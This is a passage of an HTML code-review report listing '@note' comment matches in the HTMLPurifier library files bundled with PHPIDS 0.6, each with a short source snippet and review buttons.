class='match_highlight'>@note</span> Be carefuly implementing this method as flush. Flush must 101- * not interfere with other Definition types, and cleanup() 102- * should not be repeatedly called by userland code. 103- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/DOMLex.php</span>:<span class='line_number'>12</span> <span class='match_count'>(41/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>9- * documents, it performs twenty times faster than 10- * HTMLPurifier_Lexer_DirectLex,and is the default choice for PHP 5. 11- * 12: * <span class='match_highlight'>@note</span> Any empty elements will have empty tokens associated with them, even if 13- * this is prohibited by the spec. This is cannot be fixed until the spec 14- * comes into play. 15- * 16: * <span class='match_highlight'>@note</span> PHP's DOM extension does not actually parse any entities, we use 17- * our own function to do that. 18- * 19- * @warning DOM tends to drop whitespace, which may wreak havoc on indenting.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php</span>:<span class='line_number'>7</span> <span class='match_count'>(42/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>4- * Experimental HTML5-based parser using Jeroen van der Meer's PH5P library. 5- * Occupies space in the HTML5 pseudo-namespace, which may cause conflicts. 6- * 7: * <span class='match_highlight'>@note</span> 8- * Recent changes to PHP's DOM extension have resulted in some fatal 9- * error conditions with the original version of PH5P. Pending changes, 10- * this lexer will punt to DirectLex if DOM throughs an exception.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer.php</span>:<span class='line_number'>36</span> <span class='match_count'>(43/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>33- 34- /** 35- * Main function that renders object or aspect of that object 36: * <span class='match_highlight'>@note</span> Parameters vary depending on printer 37- */ 38- // function render() {} 39-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php</span>:<span class='line_number'>6</span> <span class='match_count'>(44/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Structure that stores an HTML element definition. Used by 5- * HTMLPurifier_HTMLDefinition and HTMLPurifier_HTMLModule. 6: * <span class='match_highlight'>@note</span> This class is inspected by HTMLPurifier_Printer_HTMLDefinition. 7- * Please update that class too. 8- */ 9-class HTMLPurifier_ElementDef</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php</span>:<span class='line_number'>20</span> <span class='match_count'>(45/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>17- 18- /** 19- * Associative array of attribute name to HTMLPurifier_AttrDef 20: * <span class='match_highlight'>@note</span> Before being processed by HTMLPurifier_AttrCollections 21- * when modules are finalized during 22- * HTMLPurifier_HTMLDefinition->setup(), this array may also 23- * contain an array at index 0 that indicates which attribute</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php</span>:<span class='line_number'>82</span> <span class='match_count'>(46/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>79- 80- /** 81- * Lookup table of tags excluded from all descendants of this tag. 82: * <span class='match_highlight'>@note</span> SGML permits exclusions for all descendants, but this is 83- * not possible with DTDs or XML Schemas. W3C has elected to 84- * use complicated compositions of content_models to simulate 85- * exclusion for children, but we go the simpler, SGML-style</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer.php</span>:<span class='line_number'>22</span> <span class='match_count'>(47/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * does not actually define any implementation, but offers commonly used 20- * convenience functions for subclasses. 21- * 22: * <span class='match_highlight'>@note</span> The unit tests will instantiate this class for testing purposes, as 23- * many of the utility functions require a class to be instantiated. 24- * This means that, even though this class is not runnable, it will 25- * not be declared abstract. 26- * 27- * @par 28- * 29: * <span class='match_highlight'>@note</span> 30- * We use tokens rather than create a DOM representation because DOM would: 31- * 32- * @par</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer.php</span>:<span class='line_number'>60</span> <span class='match_count'>(48/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>57- * a few exceptions involving special features that only DirectLex 58- * implements. 59- * 60: * <span class='match_highlight'>@note</span> The behavior of this class has changed, rather than accepting 61- * a prototype object, it now accepts a configuration object. 62- * To specify your own prototype, set %Core.LexerImpl to it. 63- * This change in behavior de-singletonizes the lexer object.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ContentSets.php</span>:<span class='line_number'>16</span> <span class='match_count'>(49/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13- 14- /** 15- * List of content set lookups (element => true) indexed by name. 16: * <span class='match_highlight'>@note</span> This is in HTMLPurifier_HTMLDefinition->info_content_sets 17- */ 18- public $lookup = array(); 19-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ContentSets.php</span>:<span class='line_number'>99</span> <span class='match_count'>(50/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>96- /** 97- * Instantiates a ChildDef based on content_model and content_model_type 98- * member variables in HTMLPurifier_ElementDef 99: * <span class='match_highlight'>@note</span> This will also defer to modules for custom HTMLPurifier_ChildDef 100- * subclasses that need content set expansion 101- * @param $def HTMLPurifier_ElementDef to have ChildDef extracted 102- * @return HTMLPurifier_ChildDef corresponding to ElementDef</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/IDAccumulator.php</span>:<span class='line_number'>5</span> <span class='match_count'>(51/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Component of HTMLPurifier_AttrContext that accumulates IDs to prevent dupes 5: * <span class='match_highlight'>@note</span> In Slashdot-speak, dupe means duplicate. 6: * <span class='match_highlight'>@note</span> The default constructor does not accept $config or $context objects: 7- * use must use the static build() factory method to perform initialization. 8- */ 9-class HTMLPurifier_IDAccumulator</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/IDAccumulator.php</span>:<span class='line_number'>43</span> <span class='match_count'>(52/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>40- /** 41- * Load a list of IDs into the lookup table 42- * @param $array_of_ids Array of IDs to load 43: * <span class='match_highlight'>@note</span> This function doesn't care about duplicates 44- */ 45- public function load($array_of_ids) { 46- foreach ($array_of_ids as $id) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URISchemeRegistry.php</span>:<span class='line_number'>13</span> <span class='match_count'>(53/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>10- * Retrieve sole instance of the registry. 11- * @param $prototype Optional prototype to overload sole instance with, 12- * or bool true to reset to default registry. 13: * <span class='match_highlight'>@note</span> Pass a registry object $prototype with a compatible interface and 14- * the function will copy it and return it all further times. 15- */ 16- public static function instance($prototype = null) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform/Font.php</span>:<span class='line_number'>10</span> <span class='match_count'>(54/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7- * transforms them into their corresponding CSS attributes. These are color, 8- * face, and size. 9- * 10: * <span class='match_highlight'>@note</span> Size is an interesting case because it doesn't map cleanly to CSS. 11- * Thanks to 12- * http://style.cleverchimp.com/font_size_intervals/altintervals.html 13- * for reasonable mappings.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Image.php</span>:<span class='line_number'>5</span> <span class='match_count'>(55/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * XHTML 1.1 Image Module provides basic image embedding. 5: * <span class='match_highlight'>@note</span> There is specialized code for removing empty images in 6- * HTMLPurifier_Strategy_RemoveForeignElements 7- */ 8-class HTMLPurifier_HTMLModule_Image extends HTMLPurifier_HTMLModule</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Legacy.php</span>:<span class='line_number'>7</span> <span class='match_count'>(56/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>4- * XHTML 1.1 Legacy module defines elements that were previously 5- * deprecated. 6- * 7: * <span class='match_highlight'>@note</span> Not all legacy elements have been implemented yet, which 8- * is a bit of a reverse problem as compared to browsers! In 9- * addition, this legacy module may implement a bit more than 10- * mandated by XHTML 1.1.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Scripting.php</span>:<span class='line_number'>14</span> <span class='match_count'>(57/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11- * XHTML 1.1 Scripting module, defines elements that are used to contain 12- * information pertaining to executable scripts or the lack of support 13- * for executable scripts. 14: * <span class='match_highlight'>@note</span> This module does not contain inline scripting elements 15- */ 16-class HTMLPurifier_HTMLModule_Scripting extends HTMLPurifier_HTMLModule 17-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Text.php</span>:<span class='line_number'>5</span> <span class='match_count'>(58/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * XHTML 1.1 Text Module, defines basic text containers. Core Module. 5: * <span class='match_highlight'>@note</span> In the normative XML Schema specification, this module 6- * is further abstracted into the following modules: 7- * - Block Phrasal (address, blockquote, pre, h1, h2, h3, h4, h5, h6) 8- * - Block Structural (div, p)</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy.php</span>:<span class='line_number'>169</span> <span class='match_count'>(59/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>166- * as other information defined by the fix 167- * @param $name String name of fix 168- * @return array(string $fix_type, array $fix_parameters) 169: * <span class='match_highlight'>@note</span> $fix_parameters is type dependant, see populate() for usage 170- * of these parameters 171- */ 172- public function getFixType($name) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Presentation.php</span>:<span class='line_number'>6</span> <span class='match_count'>(60/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * XHTML 1.1 Presentation Module, defines simple presentation-related 5- * markup. Text Extension Module. 6: * <span class='match_highlight'>@note</span> The official XML Schema and DTD specs further divide this into 7- * two modules: 8- * - Block Presentation (hr) 9- * - Inline Presentation (b, big, i, small, sub, sup, tt)</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModuleManager.php</span>:<span class='line_number'>133</span> <span class='match_count'>(61/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>130- * @param $overload Boolean whether or not to overload previous modules. 131- * If this is not set, and you do overload a module, 132- * HTML Purifier will complain with a warning. 133: * <span class='match_highlight'>@note</span> This function will not call autoload, you must instantiate 134- * (and thus invoke) autoload outside the method. 135: * <span class='match_highlight'>@note</span> If a string is passed as a module name, different variants 136- * will be tested in this order: 137- * - Check for HTMLPurifier_HTMLModule_$name 138- * - Check all prefixes with $name in order they were added</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModuleManager.php</span>:<span class='line_number'>326</span> <span class='match_count'>(62/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>323- * @param $trusted Boolean trusted overriding parameter: set to true 324- * if you want the full version of an element 325- * @return Merged HTMLPurifier_ElementDef 326: * <span class='match_highlight'>@note</span> You may notice that modules are getting iterated over twice (once 327- * in getElements() and once here). This 328- * is because 329- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php</span>:<span class='line_number'>5</span> <span class='match_count'>(63/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * A UTF-8 specific character encoder that handles cleaning and transforming. 5: * <span class='match_highlight'>@note</span> All functions in this class should be static. 6- */ 7-class HTMLPurifier_Encoder 8-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php</span>:<span class='line_number'>28</span> <span class='match_count'>(64/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- * It will parse according to UTF-8 and return a valid UTF8 string, with 26- * non-SGML codepoints excluded. 27- * 28: * <span class='match_highlight'>@note</span> Just for reference, the non-SGML code points are 0 to 31 and 29- * 127 to 159, inclusive. However, we allow code points 9, 10 30- * and 13, which are the tab, line feed and carriage return 31- * respectively. 128 and above the code points map to multibyte 32- * UTF-8 representations. 33- * 34: * <span class='match_highlight'>@note</span> Fallback code adapted from utf8ToUnicode by Henri Sivonen and 35- * hsivonen@iki.fi at <http://iki.fi/hsivonen/php-utf8/> under the 36- * LGPL license. Notes on what changed are inside, but in general, 37- * the original code transformed UTF-8 text into an array of integer</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php</span>:<span class='line_number'>202</span> <span class='match_count'>(65/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>199- 200- /** 201- * Translates a Unicode codepoint into its corresponding UTF-8 character. 202: * <span class='match_highlight'>@note</span> Based on Feyd's function at 203- * <http://forums.devnetwork.net/viewtopic.php?p=191404#191404>, 204- * which is in public domain. 205: * <span class='match_highlight'>@note</span> While we're going to do code point parsing anyway, a good 206- * optimization would be to refuse to translate code points that 207- * are non-SGML characters. However, this could lead to duplication. 208: * <span class='match_highlight'>@note</span> This is very similar to the unichr function in 209- * maintenance/generate-entity-file.php (although this is superior, 210- * due to its sanity checks). 211- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php</span>:<span class='line_number'>296</span> <span class='match_count'>(66/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>293- 294- /** 295- * Converts a string from UTF-8 based on configuration. 296: * <span class='match_highlight'>@note</span> Currently, this is a lossy conversion, with unexpressable 297- * characters being omitted. 298- */ 299- public static function convertFromUTF8($str, $config, $context) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Encoder.php</span>:<span class='line_number'>336</span> <span class='match_count'>(67/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>333- * @warning Adapted from MediaWiki, claiming fair use: this is a common 334- * algorithm. If you disagree with this license fudgery, 335- * implement it yourself. 336: * <span class='match_highlight'>@note</span> Uses decimal numeric entities since they are best supported. 337: * <span class='match_highlight'>@note</span> This is a DUMB function: it has no concept of keeping 338- * character entities that the projected character encoding 339- * can allow. We could possibly implement a smart version 340- * but that would require it to also know which Unicode 341- * codepoints the charset supported (not an easy task). 342: * <span class='match_highlight'>@note</span> Sort of with cleanUTF8() but it assumes that $str is 343- * well-formed UTF-8 344- */ 345- public static function convertToASCIIDumbLossless($str) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Optional.php</span>:<span class='line_number'>5</span> <span class='match_count'>(68/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/** 4- * Definition that allows a set of elements, and allows no children. 5: * <span class='match_highlight'>@note</span> This is a hack to reuse code from HTMLPurifier_ChildDef_Required, 6- * really, one shouldn't inherit from the other. Only altered behavior 7- * is to overload a returned false with an array. Thus, it will never 8- * return false.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/StrictBlockquote.php</span>:<span class='line_number'>15</span> <span class='match_count'>(69/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12- protected $init = false; 13- 14- /** 15: * <span class='match_highlight'>@note</span> We don't want MakeWellFormed to auto-close inline elements since 16- * they might be allowed. 17- */ 18- public function getNonAutoCloseElements($config) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php</span>:<span class='line_number'>9</span> <span class='match_count'>(70/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>6- * @warning This class is strongly defined: that means that the class 7- * will fail if an undefined directive is retrieved or set. 8- * 9: * <span class='match_highlight'>@note</span> Many classes that could (although many times don't) use the 10- * configuration object make it a mandatory parameter. This is 11- * because a configuration object should always be forwarded, 12- * otherwise, you run the risk of missing a parameter and then</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php</span>:<span class='line_number'>56</span> <span class='match_count'>(71/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>53- 54- /** 55- * Reference HTMLPurifier_ConfigSchema for value checking 56: * <span class='match_highlight'>@note</span> This is public for introspective purposes. Please don't 57- * abuse! 58- */ 59- public $def;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php</span>:<span class='line_number'>154</span> <span class='match_count'>(72/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>151- /** 152- * Returns a md5 signature of a segment of the configuration object 153- * that uniquely identifies that particular configuration 154: * <span class='match_highlight'>@note</span> Revision is handled specially and is removed from the batch 155- * before processing! 156- * @param $namespace Namespace to get serial for 157- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php</span>:<span class='line_number'>422</span> <span class='match_count'>(73/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>419- 420- /** 421- * Merges in configuration values from $_GET/$_POST to object. NOT STATIC. 422: * <span class='match_highlight'>@note</span> Same parameters as loadArrayFromForm 423- */ 424- public function mergeArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true) { 425- $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $this->def);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Doctype.php</span>:<span class='line_number'>6</span> <span class='match_count'>(74/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Represents a document type, contains information on which modules 5- * need to be loaded. 6: * <span class='match_highlight'>@note</span> This class is inspected by Printer_HTMLDefinition->renderDoctype. 7- * If structure changes, please update that function. 8- */ 9-class HTMLPurifier_Doctype</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/LanguageFactory.php</span>:<span class='line_number'>6</span> <span class='match_count'>(75/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Class responsible for generating HTMLPurifier_Language objects, managing 5- * caching and fallbacks. 6: * <span class='match_highlight'>@note</span> Thanks to MediaWiki for the general logic, although this version 7- * has been entirely rewritten 8- * @todo Serialized cache for languages 9- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/LanguageFactory.php</span>:<span class='line_number'>70</span> <span class='match_count'>(76/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>67- 68- /** 69- * Sets up the singleton, much like a constructor 70: * <span class='match_highlight'>@note</span> Prevents people from getting this outside of the singleton 71- */ 72- public function setup() { 73- $this->validator = new HTMLPurifier_AttrDef_Lang();</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/LanguageFactory.php</span>:<span class='line_number'>126</span> <span class='match_count'>(77/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>123- 124- /** 125- * Returns the fallback language for language 126: * <span class='match_highlight'>@note</span> Loads the original language into cache 127- * @param $code string language code 128- */ 129- public function getFallbackFor($code) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser.php</span>:<span class='line_number'>126</span> <span class='match_count'>(78/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>123- 124- /** 125- * Throws an inconsistency exception. 126: * <span class='match_highlight'>@note</span> This should not ever be called. It would be called if we 127- * extend the allowed values of HTMLPurifier_VarParser without 128- * updating subclasses. 129- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme.php</span>:<span class='line_number'>28</span> <span class='match_count'>(79/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- 26- /** 27- * Validates the components of a URI 28: * <span class='match_highlight'>@note</span> This implementation should be called by children if they define 29- * a default port, as it does port processing. 30- * @param $uri Instance of HTMLPurifier_URI 31- * @param $config HTMLPurifier_Config object</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema.php</span>:<span class='line_number'>10</span> <span class='match_count'>(80/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7- 8- /** 9- * Defaults of the directives and namespaces. 10: * <span class='match_highlight'>@note</span> This shares the exact same structure as HTMLPurifier_Config::$conf 11- */ 12- public $defaults = array(); 13-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHashParser.php</span>:<span class='line_number'>62</span> <span class='match_count'>(81/95)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> 